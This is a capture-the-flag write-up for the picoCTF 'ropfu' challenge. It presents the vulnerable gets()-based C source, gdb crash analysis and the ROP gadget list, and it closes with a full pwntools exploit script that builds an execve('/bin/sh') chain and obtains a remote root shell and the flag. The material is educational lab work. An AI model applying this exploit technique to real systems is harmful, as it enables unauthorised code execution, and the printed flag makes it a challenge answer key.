Intro

Classic ROP challange.

File Info

$ file vuln              
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=3aa2bb6a5bf44d90a355da83fa909bbf5d9d90ce, for GNU/Linux 3.2.0, not stripped

Statically linked binary.

Source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  
}

Running Executable

$ ./vuln 
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
AAAAAAAA

Smashing Stack

Enable coredump - ulimit -c unlimited

$ python -c "print ('A'*100)" | ./vuln      
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
zsh: done                              python -c "print ('A'*100)" | 
zsh: segmentation fault (core dumped)  ./vuln

Coredump in GDB.

$ gdb ./vuln -q core 
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
[New LWP 28393]
Core was generated by `./vuln'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x41414141 in ?? ()
gdb-peda$ x/10xw $esp
0xbfd1a0f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfd1a100:     0x41414141      0x41414141      0x41414141      0x41414141
0xbfd1a110:     0x41414141      0x41414141
gdb-peda$

EIP Offset

$ gdb ./vuln -q
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
gdb-peda$ pattern_create 100 input-buf
Writing pattern of 100 chars to filename "input-buf"
gdb-peda$ r < input-buf 
Starting program: /home/kali/Desktop/rop/ropfu/vuln < input-buf
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xbffff0a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EBX: 0x41412d41 ('A-AA')
ECX: 0x80e5300 --> 0xfbad2098 
EDX: 0xbffff104 --> 0x0 
ESI: 0x80e5000 --> 0x0 
EDI: 0x80e5000 --> 0x0 
EBP: 0x44414128 ('(AAD')
ESP: 0xbffff0c0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x413b4141 ('AA;A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x413b4141
[------------------------------------stack-------------------------------------]
0000| 0xbffff0c0 ("A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xbffff0c4 ("EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xbffff0c8 ("AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xbffff0cc ("AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xbffff0d0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xbffff0d4 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xbffff0d8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xbffff0dc ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x413b4141 in ?? ()
gdb-peda$ pattern_offset AA;A
A)AA found at offset: 28
gdb-peda$

EIP Offset - 28

[----------------------------------registers-----------------------------------]
EAX: 0xbffff090 ('A' <repeats 28 times>, "BBBB", 'C' <repeats 168 times>...)
EBX: 0x41414141 ('AAAA')
ECX: 0x80e5300 --> 0xfbad2088 
EDX: 0xbffff178 --> 0xbffff100 ('C' <repeats 120 times>)
ESI: 0x80e5000 --> 0x0 
EDI: 0x80e5000 --> 0x0 
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff0b0 ('C' <repeats 200 times>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff0b0 ('C' <repeats 200 times>)
0004| 0xbffff0b4 ('C' <repeats 196 times>)
0008| 0xbffff0b8 ('C' <repeats 192 times>)
0012| 0xbffff0bc ('C' <repeats 188 times>)
0016| 0xbffff0c0 ('C' <repeats 184 times>)
0020| 0xbffff0c4 ('C' <repeats 180 times>)
0024| 0xbffff0c8 ('C' <repeats 176 times>)
0028| 0xbffff0cc ('C' <repeats 172 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$ x/30xw $esp
0xbffff0b0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff0c0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff0d0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff0e0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff0f0:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff100:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff110:     0x43434343      0x43434343      0x43434343      0x43434343
0xbffff120:     0x43434343      0x43434343
gdb-peda$

Enough space on stack to contain shellcode or gadgets.

Binary Security Measures

gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$

Approach

  • Find gadgets to write to memory and write /bin/sh to any desired location - .bss or .data
  • Align registers for execve system call
  • Issue interrupt to call execve and get shell.

Required Gadgets

# 0x08059102: mov dword ptr [edx], eax; ret;
# 0x08053ff0: mov eax, 0xffffffff; ret;
# 0x0808055e: inc eax; ret;
# 0x08071650: int 0x80; ret;
# 0x080b074a: pop eax; ret;
# 0x08049022: pop ebx; ret;
# 0x08049e39: pop ecx; ret;
# 0x080583c9: pop edx; pop ebx; ret;

Implementation

from pwn import *
from socket import create_connection as cc

elf = ELF("./vuln")

def get_proc():
        if args.REMOTE:
                r = remote('saturn.picoctf.net', args.PORT)
        else:
                r = elf.process()
        return r


#  22 .bss          00000d1c  080e62c0  080e62c0  0009d2b8  2**5
# 18 .data         00000ec0  080e5060  080e5060  0009c060  2**5

#buf = 0x080e62c0
buf =  0x80e5060

fake_ret = 0xcafebabe

read = elf.symbols["read"]
write = elf.symbols["write"]


# 0x08059102: mov dword ptr [edx], eax; ret;
# 0x08053ff0: mov eax, 0xffffffff; ret;
# 0x0808055e: inc eax; ret;
# 0x08071650: int 0x80; ret;
# 0x080b074a: pop eax; ret;
# 0x0809ed81: pop ebx; ret 0xfffa;
# 0x08049022: pop ebx; ret;
# 0x08049e39: pop ecx; ret;
# 0x080583c9: pop edx; pop ebx; ret;

mov_edx_ptr_eax_ret = 0x08059102
mov_eax_ffffffff_ret = 0x08053ff0
pop_eax_ret = 0x080b074a
pop_ebx_ret = 0x08049022
pop_ecx_ret = 0x08049e39
pop_edx_ebx_ret = 0x080583c9
inc_eax_ret = 0x0808055e
int_80_ret = 0x08071650


payload = b"A"*28

# Step 1 : Write /bin/sh to .data

payload += p32(pop_edx_ebx_ret)
payload += p32(buf)             # edx points to .data buf
payload += p32(0x41414141)      # junk ebx

payload += p32(pop_eax_ret)
payload += b"/bin"              # eax = /bin

payload += p32(mov_edx_ptr_eax_ret) # move eax to address pointed by edx

payload += p32(pop_edx_ebx_ret)
payload += p32(buf+4)           # edx points to .data buf
payload += p32(0x41414141)      # junk ebx

payload += p32(pop_eax_ret)
payload += b"//sh"              # eax = /bin

payload += p32(mov_edx_ptr_eax_ret)


# Step 2 : make eax = 0 and store at buf + 8

payload += p32(mov_eax_ffffffff_ret)
payload += p32(inc_eax_ret)             # eax = 0

payload += p32(pop_edx_ebx_ret)
payload += p32(buf + 8)         # edx points to buf + 8
payload += p32(0x41414141)      # junk ebx

payload += p32(mov_edx_ptr_eax_ret)

# Step 3 : Call execve("/bin/sh", *0, *0)
# int execve(const char *pathname, char *const argv[],
#            char *const envp[]);

# eax = 0xb
# ebx = pointer to "/bin/sh"
# ecx = pointer to 0
# edx = pointer to 0

payload += p32(mov_eax_ffffffff_ret)
payload += p32(inc_eax_ret)             # eax = 0
payload += p32(inc_eax_ret)             # eax = 1
payload += p32(inc_eax_ret)             # eax = 2
payload += p32(inc_eax_ret)             # eax = 3
payload += p32(inc_eax_ret)             # eax = 4
payload += p32(inc_eax_ret)             # eax = 5
payload += p32(inc_eax_ret)             # eax = 6
payload += p32(inc_eax_ret)             # eax = 7
payload += p32(inc_eax_ret)             # eax = 8
payload += p32(inc_eax_ret)             # eax = 9
payload += p32(inc_eax_ret)             # eax = 10
payload += p32(inc_eax_ret)             # eax = 11


payload += p32(pop_edx_ebx_ret)
payload += p32(buf + 8)                 # edx = null pointer; buf + 8 contains 0
payload += p32(buf)                     # edx = pointer to /bin/sh; buf

payload += p32(pop_ecx_ret)
payload += p32(buf + 8)                 # ecx = null pointer; buf + 8 contains 0

payload += p32(int_80_ret)              # call execve


r = get_proc()
r.recvline()
r.sendline(payload)
r.interactive()

Running against challenge.

$ python poc.py REMOTE PORT=51464
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[*] '/home/kali/Desktop/rop/pico-ropfu/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Opening connection to saturn.picoctf.net on port 51464: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root
$ ls -l
total 700
-rw-r--r-- 1 root root     34 Mar 15  2022 flag.txt
-rwxr-xr-x 1 root root 709360 Mar 15  2022 vuln
$ cat flag.txt
picoCTF{5n47ch_7h3_5h311_c6992ff0}
$